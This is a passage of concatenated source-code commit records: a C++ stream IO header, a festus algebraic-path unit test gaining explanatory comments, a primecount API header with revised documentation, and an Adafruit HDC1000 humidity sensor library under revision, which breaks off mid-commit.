{\n return out(ptr, count);\n }\n\n METHOD IO& read(Memory::Buffer const& buffer) {\n return read(buffer.pointer(), buffer.size());\n }\n\n METHOD IO& write(Memory::Buffer const& buffer) { \n return write(buffer.pointer(), buffer.size());\n }\n\n METHOD friend IO& operator <<(IO &io, Memory::Buffer const& buffer)\n {\n return io.write(buffer);\n }\n\n METHOD friend IO& operator >>(IO &io, Memory::Buffer const& buffer)\n {\n return io.read(buffer);\n }\n\n METHOD friend IO& operator <<(Memory::Buffer const& buffer, IO &io)\n {\n return io >> buffer;\n }\n\n METHOD friend IO& operator >>(Memory::Buffer const& buffer, IO &io)\n {\n return io << buffer;\n }\n };\n\n class Stream : public IO\n {\n public:\n FUNCTION Stream standard_input();\n FUNCTION Stream standard_output();\n FUNCTION Stream standard_error();\n\n CONSTRUCTOR Stream() = default;\n CONSTRUCTOR Stream(int fd) : fd(fd) {}\n\n METHOD Stream& in(void *ptr, size_t count);\n METHOD Stream& out(const void *ptr, size_t count);\n\n METHOD Stream duplicate();\n METHOD void replace(Stream const&);\n METHOD int file_desc() const { return fd; }\n METHOD int close();\n\n protected:\n int fd = -1;\n };\n\n template <class Rx, class Tx = Rx>\n class BiStream : public IO\n {\n public:\n CONSTRUCTOR BiStream() = default;\n CONSTRUCTOR BiStream(Rx rx, Tx tx) : rx(rx), tx(tx) {}\n CONSTRUCTOR BiStream(int rfd, int wfd) : rx(Stream(rfd)), tx(Stream(wfd)) {}\n\n METHOD BiStream& in(void *ptr, size_t count) {\n rx.read(ptr, count);\n return *this;\n }\n\n METHOD BiStream& out(const void *ptr, size_t count) {\n tx.write(ptr, count);\n return *this;\n }\n\n METHOD int close() {\n return rx.close() | tx.close();\n }\n\n protected:\n Rx rx;\n Tx tx;\n };\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ festus\/algebraic-path-test.cc\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Copyright 2016 Google, Inc.\n\/\/ Author: mjansche@google.com (Martin Jansche)\n\/\/\n\/\/ \\file\n\/\/ Unit test for algebraic path computation.\n\n#include \"festus\/algebraic-path.h\"\n\n#include <cmath>\n\n#include <fst\/compat.h>\n#include <fst\/fstlib.h>\n#include <gtest\/gtest.h>\n\n#include \"festus\/arc.h\"\n#include \"festus\/float-weight-star.h\"\n#include \"festus\/max-times-semiring.h\"\n#include \"festus\/modular-int-semiring.h\"\n#include \"festus\/quaternion-semiring.h\"\n#include \"festus\/real-weight.h\"\n#include \"festus\/value-weight-static.h\"\n\nDEFINE_double(delta, fst::kDelta,\n \"Convergence threshold for ShortestDistance\");\nDEFINE_bool(modular_int, false,\n \"Try to compute ShortestDistance in modular int semiring\");\nDEFINE_bool(quaternion, false,\n \"Try to compute ShortestDistance in quaternion semiring\");\n\nnamespace {\n\ntemplate <class Arc>\nvoid TestOneStateLoop(\n typename Arc::Weight loop_weight,\n typename Arc::Weight final_weight,\n typename Arc::Weight expected_sum_total,\n float comparison_delta,\n int power_series_terms,\n bool use_shortest_distance,\n const char *msg) {\n typedef typename Arc::Weight Weight;\n\n \/\/ One-state FST with a loop at its only (initial and final) state.\n fst::VectorFst<Arc> fst;\n const auto state = fst.AddState();\n fst.SetStart(state);\n fst.AddArc(state, Arc(0, 0, loop_weight, state));\n fst.SetFinal(state, final_weight);\n\n const Weight sum_total = festus::SumTotalWeight(fst);\n EXPECT_TRUE(ApproxEqual(sum_total, expected_sum_total, comparison_delta));\n\n VLOG(0) << \"sum total = \" << sum_total << \" ~= \" << expected_sum_total;\n\n if (power_series_terms) {\n Weight power = Weight::One();\n Weight series = Weight::One();\n VLOG(0) << \"\\\\sum_{n=0}^0 loop_weight^n = \" << series;\n VLOG(0) << \" sum x final = \" << Times(series, final_weight);\n for (int n = 1; n <= power_series_terms; ++n) {\n power = Times(power, loop_weight);\n series = Plus(series, power);\n VLOG(0) << \"\\\\sum_{n=0}^\" << n << \" loop_weight^n = \" << series;\n VLOG(0) << \" sum x final = \" << Times(series, final_weight);\n }\n }\n\n if (use_shortest_distance) {\n VLOG(0) << msg;\n VLOG(0) << \"shortest distance = \"\n << fst::ShortestDistance(fst, FLAGS_delta);\n }\n}\n\nTEST(AlgebraicPathTest, Log) {\n typedef fst::LogArc Arc;\n typedef Arc::Weight Weight;\n\n constexpr float q = 1.0f \/ 32768.0f;\n\n TestOneStateLoop<Arc>(\n Weight(-std::log1p(-q)), Weight(-std::log(q)), Weight::One(), 1e-9, 9,\n true, \"shortest distance computation will be slow and imprecise\");\n\n \/\/ Internal implementation detail:\n EXPECT_EQ(0, festus::internal::SemiringFor<Weight>::IsSpecialized());\n}\n\nTEST(AlgebraicPathTest, LimitedMaxTimes) {\n \/\/ Note that this semiring is not k-closed.\n typedef festus::LimitedMaxTimesSemiring<int8, 3, 2> SemiringType;\n typedef festus::ValueWeightStatic<SemiringType> Weight;\n typedef festus::ValueArcTpl<Weight> Arc;\n\n TestOneStateLoop<Arc>(\n Weight::From(1), Weight::From(1), Weight::From(2), 1e-30, 3,\n true, \"shortest distance computation will be fast and different\");\n\n \/\/ Internal implementation detail:\n EXPECT_EQ(1, festus::internal::SemiringFor<Weight>::IsSpecialized());\n}\n\nTEST(AlgebraicPathTest, IntegersMod13) {\n \/\/ Note that this semiring is not k-closed.\n typedef festus::IntegersMod<13> SemiringType;\n typedef festus::ValueWeightStatic<SemiringType> Weight;\n typedef festus::ValueArcTpl<Weight> Arc;\n\n TestOneStateLoop<Arc>(\n Weight::From(3), Weight::From(11), Weight::One(), 1e-30, 5,\n FLAGS_modular_int, \"shortest distance computation will not terminate\");\n\n \/\/ Internal implementation detail:\n EXPECT_EQ(1, festus::internal::SemiringFor<Weight>::IsSpecialized());\n}\n\nTEST(AlgebraicPathTest, Quaternion) {\n \/\/ Note that this semiring is not k-closed.\n typedef festus::QuaternionWeightTpl<festus::RealSemiring<float>> Weight;\n typedef festus::ValueArcTpl<Weight> Arc;\n\n const Weight p = Weight::From(-0.5f, 0.5f, 0.5f, 0.5f);\n const Weight q = Minus(Weight::One(), p);\n\n TestOneStateLoop<Arc>(\n p, q, Weight::One(), 1e-9, 5,\n FLAGS_quaternion, \"shortest distance computation will not terminate\");\n\n \/\/ Internal implementation detail:\n EXPECT_EQ(1, festus::internal::SemiringFor<Weight>::IsSpecialized());\n}\n\n} \/\/ namespace\n\nint main(int argc, char *argv[]) {\n testing::InitGoogleTest(&argc, argv);\n SET_FLAGS(argv[0], &argc, &argv, true);\n return RUN_ALL_TESTS();\n}\n<commit_msg>Documentation for algebraic path test.<commit_after>\/\/ festus\/algebraic-path-test.cc\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Copyright 2016 Google, Inc.\n\/\/ Author: mjansche@google.com (Martin Jansche)\n\/\/\n\/\/ \\file\n\/\/ Unit test for algebraic path computation.\n\/\/\n\/\/ This also illustrates the different behaviors of fst::ShortestDistance(fst)\n\/\/ vs. festus::SumTotalWeight(fst):\n\/\/\n\/\/ * ShortestDistance() requires, but cannot check, that the weight semiring\n\/\/ is (approximately) k-closed. It uses this assumption to compute an\n\/\/ implicitly defined Star() closure of the semiring by expanding out a\n\/\/ power series until (approximate) convergence.\n\/\/\n\/\/ * SumTotalWeight() requires that a Star() operation has been explicitly\n\/\/ defined which satisfies the Star axiom. It makes no assumptions about\n\/\/ Star() being equivalent to a convergent power series.\n\/\/\n\/\/ The behavior of these two functions differs in at least the following\n\/\/ situations:\n\/\/\n\/\/ * The power series for all observed cycles converge; the limit of a\n\/\/ convergent power series is also provided by the corresponding Star()\n\/\/ operation. This means that, for all practical purposes and with only minor\n\/\/ hand-waving, the semiring is approximately k-closed. This is the case,\n\/\/ inter alia, for the log semiring and graphs\/FSTs without negative weight\n\/\/ cycles, i.e. all real weights fall into [0;1), so the geometric power\n\/\/ series converges.\n\/\/\n\/\/ In this situation SumTotalWeight() and ShortestDistance() will eventually\n\/\/ give approximately the same answer. However, there are differences in\n\/\/ terms of speed and quality.\n\/\/\n\/\/ SumTotalWeight() will give a generally more precise answer in terms of\n\/\/ Star(), which is quick to compute by itself, but uses an algorithm with\n\/\/ worst-case cubic running time in the number of state\/vertices\n\/\/ (TODO: cubic in the size of the largest strongly connected component).\n\/\/\n\/\/ ShortestDistance() will give an answer in terms of the limit of a\n\/\/ convergent power series, but in order to do so it has to expand out the\n\/\/ terms of the power series one-by-one (without acceleration) until\n\/\/ approximate convergence. For high-probability cycles (whose real\n\/\/ probabilities are close to 1), convergence can be slow. The quality of the\n\/\/ answer also depends on the configured convergence threshold.\n\/\/\n\/\/ * A cycle weight can be computed via a convergent power series, but its\n\/\/ limit differs from the result of the defined Star() operation. This is\n\/\/ the case for the particular instance of LimitedMaxTimesSemiring below,\n\/\/ where 2 == Star(1) != max(1^0, 1^1, 1^2, 1^3, ...) == 1.\n\/\/\n\/\/ In this situation SumTotalWeight() will give an answer in terms of Star(),\n\/\/ and ShortestDistance() will give a different answer in terms of the limit\n\/\/ of the convergent power series.\n\/\/\n\/\/ * The power series for a cycle weight diverges, but the corresponding Star()\n\/\/ value is well-defined. This is the case, inter alia, for the finite field\n\/\/ of integers modulo a prime, and for the division ring of quaternions. In\n\/\/ all division rings (and hence all fields), whenever Star(x) is defined, it\n\/\/ must be defined as Star(x) := (1 - x)^{-1}; and in all rings, Star(x) must\n\/\/ be undefined when 1 - x == 0.\n\/\/\n\/\/ In this situation SumTotalWeight() will give an answer in terms of Star(),\n\/\/ and ShortestDistance() will not terminate.\n\n#include \"festus\/algebraic-path.h\"\n\n#include <cmath>\n\n#include <fst\/compat.h>\n#include <fst\/fstlib.h>\n#include <gtest\/gtest.h>\n\n#include \"festus\/arc.h\"\n#include \"festus\/float-weight-star.h\"\n#include \"festus\/max-times-semiring.h\"\n#include \"festus\/modular-int-semiring.h\"\n#include \"festus\/quaternion-semiring.h\"\n#include \"festus\/real-weight.h\"\n#include \"festus\/value-weight-static.h\"\n\nDEFINE_double(delta, fst::kDelta,\n \"Convergence threshold for ShortestDistance\");\nDEFINE_bool(modular_int, false,\n \"Try to compute ShortestDistance in modular int semiring\");\nDEFINE_bool(quaternion, false,\n \"Try to compute ShortestDistance in quaternion semiring\");\n\nnamespace {\n\ntemplate <class Arc>\nvoid TestOneStateLoop(\n typename Arc::Weight loop_weight,\n typename Arc::Weight final_weight,\n typename Arc::Weight expected_sum_total,\n float comparison_delta,\n int power_series_terms,\n bool use_shortest_distance,\n const char *msg) {\n typedef typename Arc::Weight Weight;\n\n \/\/ One-state FST with a loop at its only (initial and final) state.\n fst::VectorFst<Arc> fst;\n const auto state = fst.AddState();\n fst.SetStart(state);\n fst.AddArc(state, Arc(0, 0, loop_weight, state));\n fst.SetFinal(state, final_weight);\n\n const Weight sum_total = festus::SumTotalWeight(fst);\n EXPECT_TRUE(ApproxEqual(sum_total, expected_sum_total, comparison_delta));\n\n VLOG(0) << \"sum total = \" << sum_total << \" ~= \" << expected_sum_total;\n\n if (power_series_terms) {\n Weight power = Weight::One();\n Weight series = Weight::One();\n VLOG(0) << \"\\\\sum_{n=0}^0 loop_weight^n = \" << series;\n VLOG(0) << \" sum x final = \" << Times(series, final_weight);\n for (int n = 1; n <= power_series_terms; ++n) {\n power = Times(power, loop_weight);\n series = Plus(series, power);\n VLOG(0) << \"\\\\sum_{n=0}^\" << n << \" loop_weight^n = \" << series;\n VLOG(0) << \" sum x final = \" << Times(series, final_weight);\n }\n }\n\n if (use_shortest_distance) {\n VLOG(0) << msg;\n VLOG(0) << \"shortest distance = \"\n << fst::ShortestDistance(fst, FLAGS_delta);\n }\n}\n\nTEST(AlgebraicPathTest, Log) {\n typedef fst::LogArc Arc;\n typedef Arc::Weight Weight;\n\n constexpr float q = 1.0f \/ 32768.0f;\n\n TestOneStateLoop<Arc>(\n Weight(-std::log1p(-q)), Weight(-std::log(q)), Weight::One(), 1e-9, 9,\n true, \"shortest distance computation will be slow and imprecise\");\n\n \/\/ Internal implementation detail:\n EXPECT_EQ(0, festus::internal::SemiringFor<Weight>::IsSpecialized());\n}\n\nTEST(AlgebraicPathTest, LimitedMaxTimes) {\n \/\/ Note that this semiring is not k-closed.\n typedef festus::LimitedMaxTimesSemiring<int8, 3, 2> SemiringType;\n typedef festus::ValueWeightStatic<SemiringType> Weight;\n typedef festus::ValueArcTpl<Weight> Arc;\n\n TestOneStateLoop<Arc>(\n Weight::From(1), Weight::From(1), Weight::From(2), 1e-30, 3,\n true, \"shortest distance computation will be fast and different\");\n\n \/\/ Internal implementation detail:\n EXPECT_EQ(1, festus::internal::SemiringFor<Weight>::IsSpecialized());\n}\n\nTEST(AlgebraicPathTest, IntegersMod13) {\n \/\/ Note that this semiring is not k-closed.\n typedef festus::IntegersMod<13> SemiringType;\n typedef festus::ValueWeightStatic<SemiringType> Weight;\n typedef festus::ValueArcTpl<Weight> Arc;\n\n TestOneStateLoop<Arc>(\n Weight::From(3), Weight::From(11), Weight::One(), 1e-30, 5,\n FLAGS_modular_int, \"shortest distance computation will not terminate\");\n\n \/\/ Internal implementation detail:\n EXPECT_EQ(1, festus::internal::SemiringFor<Weight>::IsSpecialized());\n}\n\nTEST(AlgebraicPathTest, Quaternion) {\n \/\/ Note that this semiring is not k-closed.\n typedef festus::QuaternionWeightTpl<festus::RealSemiring<float>> Weight;\n typedef festus::ValueArcTpl<Weight> Arc;\n\n const Weight p = Weight::From(-0.5f, 0.5f, 0.5f, 0.5f);\n const Weight q = Minus(Weight::One(), p);\n\n TestOneStateLoop<Arc>(\n p, q, Weight::One(), 1e-9, 5,\n FLAGS_quaternion, \"shortest distance computation will not terminate\");\n\n \/\/ Internal implementation detail:\n EXPECT_EQ(1, festus::internal::SemiringFor<Weight>::IsSpecialized());\n}\n\n} \/\/ namespace\n\nint main(int argc, char *argv[]) {\n testing::InitGoogleTest(&argc, argv);\n SET_FLAGS(argv[0], &argc, &argv, true);\n return RUN_ALL_TESTS();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ @file primecount.hpp\n\/\/\/\n\/\/\/ Copyright (C) 2014 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#ifndef PRIMECOUNT_HPP\n#define PRIMECOUNT_HPP\n\n#include <stdexcept>\n#include <string>\n#include <stdint.h>\n\n#define PRIMECOUNT_VERSION \"1.1\"\n#define PRIMECOUNT_VERSION_MAJOR 1\n#define PRIMECOUNT_VERSION_MINOR 1\n\nnamespace primecount {\n\nclass primecount_error : public std::runtime_error\n{\npublic:\n primecount_error(const std::string& msg)\n : std::runtime_error(msg)\n { }\n};\n\n\/\/\/ Alias for the fastest prime counting function in primecount.\nint64_t pi(int64_t x);\n\n\/\/\/ Alias for the fastest prime counting function in primecount.\n\/\/\/ @param x integer or arithmetic expression like 10^12.\n\/\/\/ @pre x <= primecount::max().\n\/\/\/\nstd::string pi(const std::string& x);\n\n\/\/\/ Calculate the number of primes below x using the\n\/\/\/ Deleglise-Rivat algorithm.\n\/\/\/ Run time: O(x^(2\/3) \/ (log x)^2) operations, O(x^(1\/3) * (log x)^3) space.\n\/\/\/\nint64_t pi_deleglise_rivat(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using Legendre's formula.\n\/\/\/ Run time: O(x) operations, O(x^(1\/2)) space.\n\/\/\/\nint64_t pi_legendre(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using Lehmer's formula.\n\/\/\/ Run time: O(x\/(log x)^4) operations, O(x^(1\/2)) space.\n\/\/\/\nint64_t pi_lehmer(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using the\n\/\/\/ Lagarias-Miller-Odlyzko algorithm.\n\/\/\/ Run time: O(x^(2\/3) \/ log x) operations, O(x^(1\/3) * (log x)^2) space.\n\/\/\/\nint64_t pi_lmo(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using Meissel's formula.\n\/\/\/ Run time: O(x\/(log x)^3) operations, O(x^(1\/2) \/ log x) space.\n\/\/\/\nint64_t pi_meissel(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using an optimized \n\/\/\/ segmented sieve of Eratosthenes implementation.\n\/\/\/ Run time: O(x log log x) operations, O(x^(1\/2)) space.\n\/\/\/\nint64_t pi_primesieve(int64_t x);\n\n\/\/\/ Calculate the nth prime using a combination of an efficient prime\n\/\/\/ counting function implementation and the sieve of Eratosthenes.\n\/\/\/ Run time: O(x^(2\/3) \/ (log x)^2) operations, O(x^(1\/2)) space.\n\/\/\/\nint64_t nth_prime(int64_t n);\n\n\/\/\/ Partial sieve function (a.k.a. Legendre-sum).\n\/\/\/ phi(x, a) counts the numbers <= x that are not divisible\n\/\/\/ by any of the first a primes.\n\/\/\/\nint64_t phi(int64_t x, int64_t a);\n\n\/\/\/ Calculate the offset logarithmic integral which is a very\n\/\/\/ accurate approximation of the number of primes below x.\n\/\/\/ @post Li(x) > pi(x) for 24 <= x <= ~ 10^316\n\/\/\/\nint64_t Li(int64_t x);\n\n\/\/\/ Calculate the inverse logarithmic integral Li^-1(x) which is\n\/\/\/ a very accurate approximation of the nth prime.\n\/\/\/ @post Li_inverse(x) < nth_prime(x) for 7 <= x <= ~ 10^316\n\/\/\/\nint64_t Li_inverse(int64_t x);\n\n\/\/ Set the number of threads.\nvoid set_num_threads(int num_threads);\n\n\/\/ Get the currently set number of threads.\nint get_num_threads();\n\n\/\/\/ Returns the largest integer that can be used with\n\/\/\/ pi(std::string x). The return type is a string as max may be a\n\/\/\/ 128-bit integer which is not supported by all compilers.\n\/\/\/\nstd::string max();\n\n\/\/\/ Test all prime counting function implementations.\n\/\/\/ @return true if success else false.\n\/\/\/\nbool test();\n\n} \/\/ namespace primecount\n\n#endif\n<commit_msg>Update documentation<commit_after>\/\/\/\n\/\/\/ @file primecount.hpp\n\/\/\/\n\/\/\/ Copyright (C) 2014 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#ifndef PRIMECOUNT_HPP\n#define PRIMECOUNT_HPP\n\n#include <stdexcept>\n#include <string>\n#include <stdint.h>\n\n#define PRIMECOUNT_VERSION \"1.1\"\n#define PRIMECOUNT_VERSION_MAJOR 1\n#define PRIMECOUNT_VERSION_MINOR 1\n\nnamespace primecount {\n\nclass primecount_error : public std::runtime_error\n{\npublic:\n primecount_error(const std::string& msg)\n : std::runtime_error(msg)\n { }\n};\n\n\/\/\/ Alias for the fastest prime counting function in primecount.\nint64_t pi(int64_t x);\n\n\/\/\/ 128-bit prime counting function.\n\/\/\/ Run time: O(x^(2\/3) \/ (log x)^2) operations, O(x^(1\/3) * (log x)^3) space.\n\/\/\/ @param expr Integer arithmetic expression e.g. \"1000\", \"10^22\"\n\/\/\/ @pre expr <= primecount::max()\n\/\/\/\nstd::string pi(const std::string& x);\n\n\/\/\/ Calculate the number of primes below x using the\n\/\/\/ Deleglise-Rivat algorithm.\n\/\/\/ Run time: O(x^(2\/3) \/ (log x)^2) operations, O(x^(1\/3) * (log x)^3) space.\n\/\/\/\nint64_t pi_deleglise_rivat(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using Legendre's formula.\n\/\/\/ Run time: O(x) operations, O(x^(1\/2)) space.\n\/\/\/\nint64_t pi_legendre(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using Lehmer's formula.\n\/\/\/ Run time: O(x\/(log x)^4) operations, O(x^(1\/2)) space.\n\/\/\/\nint64_t pi_lehmer(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using the\n\/\/\/ Lagarias-Miller-Odlyzko algorithm.\n\/\/\/ Run time: O(x^(2\/3) \/ log x) operations, O(x^(1\/3) * (log x)^2) space.\n\/\/\/\nint64_t pi_lmo(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using Meissel's formula.\n\/\/\/ Run time: O(x\/(log x)^3) operations, O(x^(1\/2) \/ log x) space.\n\/\/\/\nint64_t pi_meissel(int64_t x);\n\n\/\/\/ Calculate the number of primes below x using an optimized \n\/\/\/ segmented sieve of Eratosthenes implementation.\n\/\/\/ Run time: O(x log log x) operations, O(x^(1\/2)) space.\n\/\/\/\nint64_t pi_primesieve(int64_t x);\n\n\/\/\/ Calculate the nth prime using a combination of an efficient prime\n\/\/\/ counting function implementation and the sieve of Eratosthenes.\n\/\/\/ Run time: O(x^(2\/3) \/ (log x)^2) operations, O(x^(1\/2)) space.\n\/\/\/\nint64_t nth_prime(int64_t n);\n\n\/\/\/ Partial sieve function (a.k.a. Legendre-sum).\n\/\/\/ phi(x, a) counts the numbers <= x that are not divisible\n\/\/\/ by any of the first a primes.\n\/\/\/\nint64_t phi(int64_t x, int64_t a);\n\n\/\/\/ Calculate the offset logarithmic integral which is a very\n\/\/\/ accurate approximation of the number of primes below x.\n\/\/\/ @post Li(x) > pi(x) for 24 <= x <= ~ 10^316\n\/\/\/\nint64_t Li(int64_t x);\n\n\/\/\/ Calculate the inverse logarithmic integral Li^-1(x) which is\n\/\/\/ a very accurate approximation of the nth prime.\n\/\/\/ @post Li_inverse(x) < nth_prime(x) for 7 <= x <= ~ 10^316\n\/\/\/\nint64_t Li_inverse(int64_t x);\n\n\/\/\/ Set the number of threads.\nvoid set_num_threads(int num_threads);\n\n\/\/\/ Get the currently set number of threads.\nint get_num_threads();\n\n\/\/\/ Largest integer supported by pi(const std::string& x).\n\/\/\/ The return type is a string as max may be a 128-bit integer\n\/\/\/ which is not supported by all compilers.\n\/\/\/ @return 2^63-1 for 32-bit CPUs, 10^27 for 64-bit CPUs\n\/\/\/\nstd::string max();\n\n\/\/\/ Test all prime counting function implementations.\n\/\/\/ @return true if success else false.\n\/\/\/\nbool test();\n\n} \/\/ namespace primecount\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************** \n This is a library for the HDC1000 Humidity & Temp Sensor\n\n Designed specifically to work with the HDC1008 sensor from Adafruit\n ----> https:\/\/www.adafruit.com\/products\/2635\n\n These sensors use I2C to communicate, 2 pins are required to \n interface\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n \n Modified for Photon needs application.h for types RMB\n ****************************************************\/\n#include \"application.h\"\n#include \"Adafruit_HDC1000\/Adafruit_HDC1000.h\"\n\n\nAdafruit_HDC1000::Adafruit_HDC1000() {\n}\n\n\nboolean Adafruit_HDC1000::begin(uint8_t addr) {\n _i2caddr = addr;\n\n Wire.begin();\n \n reset();\n if (read16(HDC1000_MANUFID) != 0x5449) return false;\n if (read16(HDC1000_DEVICEID) != 0x1000) return false;\n return true;\n}\n\n\n\nvoid Adafruit_HDC1000::reset(void) {\n \/\/ reset,combined temp\/humidity measurement,and select 14 bit temp & humidity resolution\n uint16_t config = HDC1000_CONFIG_RST | HDC1000_CONFIG_MODE | HDC1000_CONFIG_TRES_14 | HDC1000_CONFIG_HRES_14;\n\n Wire.beginTransmission(_i2caddr);\n Wire.write(HDC1000_CONFIG); \/\/ set pointer register to configuration register RMB\n Wire.write(config>>8); \/\/ now write out 2 bytes MSB first RMB\n Wire.write(config&0xFF);\n Wire.endTransmission();\n delay(15);\n}\n\n\nfloat Adafruit_HDC1000::readTemperature(void) {\n \n float temp = (read32(HDC1000_TEMP, 20) >> 16);\n temp \/= 65536;\n temp *= 165;\n temp -= 40;\n\n return temp;\n}\n \n\nfloat Adafruit_HDC1000::readHumidity(void) {\n \/\/ reads both temp and humidity but masks out temp in highest 16 bits\n \/\/ originally used hum but humidity declared in private section of class\n float humidity = (read32(HDC1000_TEMP, 20) & 0xFFFF);\n\n humidity \/= 65536;\n humidity *= 100;\n\n return humidity;\n}\n\nvoid Adafruit_HDC1000::ReadTempHumidity(void) {\n \/\/ HDC1008 setup to measure both temperature and humidity in one conversion\n \/\/ this is a different way to access data in ONE read\n \/\/ this sets internal private variables that can be accessed by Get() functions\n\n uint32_t rt,rh ; \/\/ working variables\n \n rt = read32(HDC1000_TEMP, 20); \/\/ get temp and humidity reading together\n rh = rt; \/\/ save a copy for humidity processing\n \n float temp = (rt >> 16); \/\/ convert to temp first\n temp \/= 65536;\n temp *= 165;\n temp -= 40;\n \n float humidity = (rh & 0xFFFF); \/\/ now convert to humidity\n humidity \/= 65536;\n humidity *= 100;\n}\n\nfloat Adafruit_HDC1000::GetTemperature(void) {\n \/\/ getter function to access private temp variable\n \n return temp ;\n}\n\nfloat Adafruit_HDC1000::GetHumidity(void) {\n \/\/ getter function to access private humidity variable\n \n return humidity ;\n}\n\n\/\/ Add ability to test battery voltage, useful in remote monitoring, TRUE if <2.8V \n\/\/ usually called after Temp\/Humid reading RMB\n\/\/ Thanks to KFricke for micropython-hdc1008 example on GitHub \nboolean Adafruit_HDC1000::batteryLOW(void) {\n \n uint16_t battLOW = (read16(HDC1000_CONFIG_BATT, 20));\n \n battLOW &= HDC1000_CONFIG_BATT; \/\/ mask off other bits, bit 11 will be 1 if voltage < 2.8V\n \n if (battLOW> 0) return true;\n return false;\n} \n \n\n\n\/*********************************************************************\/\n\nuint16_t Adafruit_HDC1000::read16(uint8_t a, uint8_t d) {\n Wire.beginTransmission(_i2caddr);\n Wire.write(a);\n Wire.endTransmission();\n delay(d);\n Wire.requestFrom((uint8_t)_i2caddr, (uint8_t)2);\n uint16_t r = Wire.read();\n r <<= 8;\n r |= Wire.read();\n \/\/Serial.println(r, HEX);\n return r;\n}\n\nuint32_t Adafruit_HDC1000::read32(uint8_t a, uint8_t d) {\n Wire.beginTransmission(_i2caddr);\n Wire.write(a);\n Wire.endTransmission();\n \/\/ delay was hardcoded as 50, should use d RMB\n delay(d);\n Wire.requestFrom((uint8_t)_i2caddr, (uint8_t)4);\n uint32_t r = Wire.read();\n \/\/ assembles temp into highest 16 bits, humidity into lowest 16 bits\n r <<= 8;\n r |= Wire.read();\n r <<= 8;\n r |= Wire.read();\n r <<= 8;\n r |= Wire.read();\n \/\/Serial.println(r, HEX);\n return r;\n}\n<commit_msg>problems with private variables temp and humidity<commit_after>\/*************************************************** \n This is a library for the HDC1000 Humidity & Temp Sensor\n\n Designed specifically to work with the HDC1008 sensor from Adafruit\n ----> https:\/\/www.adafruit.com\/products\/2635\n\n These sensors use I2C to communicate, 2 pins are required to \n interface\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n \n Modified for Photon needs application.h for types RMB\n ****************************************************\/\n#include \"application.h\"\n#include \"Adafruit_HDC1000\/Adafruit_HDC1000.h\"\n\n\nAdafruit_HDC1000::Adafruit_HDC1000() {\n}\n\n\nboolean Adafruit_HDC1000::begin(uint8_t addr) {\n _i2caddr = addr;\n\n Wire.begin();\n \n reset();\n if (read16(HDC1000_MANUFID) != 0x5449) return false;\n if (read16(HDC1000_DEVICEID) != 0x1000) return false;\n return true;\n}\n\n\n\nvoid Adafruit_HDC1000::reset(void) {\n \/\/ reset,combined temp\/humidity measurement,and select 14 bit temp & humidity resolution\n uint16_t config = HDC1000_CONFIG_RST | HDC1000_CONFIG_MODE | HDC1000_CONFIG_TRES_14 | HDC1000_CONFIG_HRES_14;\n\n Wire.beginTransmission(_i2caddr);\n Wire.write(HDC1000_CONFIG); \/\/ set pointer register to configuration register RMB\n Wire.write(config>>8); \/\/ now write out 2 bytes MSB first RMB\n Wire.write(config&0xFF);\n Wire.endTransmission();\n delay(15);\n}\n\n\nfloat Adafruit_HDC1000::readTemperature(void) {\n \n float temp = (read32(HDC1000_TEMP, 20) >> 16);\n temp \/= 65536;\n temp *= 165;\n temp -= 40;\n\n return temp;\n}\n \n\nfloat Adafruit_HDC1000::readHumidity(void) {\n \/\/ reads both temp and humidity but masks out temp in highest 16 bits\n \/\/ originally used hum but humidity declared in private section of class\n float humidity = (read32(HDC1000_TEMP, 20) & 0xFFFF);\n\n humidity \/= 65536;\n humidity *= 100;\n\n return humidity;\n}\n\nvoid Adafruit_HDC1000::ReadTempHumidity(void) {\n \/\/ HDC1008 setup to measure both temperature and humidity in one conversion\n \/\/ this is a different way to access data in ONE read\n \/\/ this sets internal private variables that can be accessed by Get() functions\n\n uint32_t rt,rh ; \/\/ working variables\n \n rt = read32(HDC1000_TEMP, 20); \/\/ get temp and humidity reading together\n rh = rt; \/\/ save a copy for humidity processing\n \n float temp = (rt >> 16); \/\/ convert to temp first\n temp \/= 65536;\n temp *= 165;\n temp -= 40;\n Serial.print(\"temp=\",temp);\n \n \n float humidity = (rh & 0xFFFF); \/\/ now convert to humidity\n humidity \/= 65536;\n humidity *= 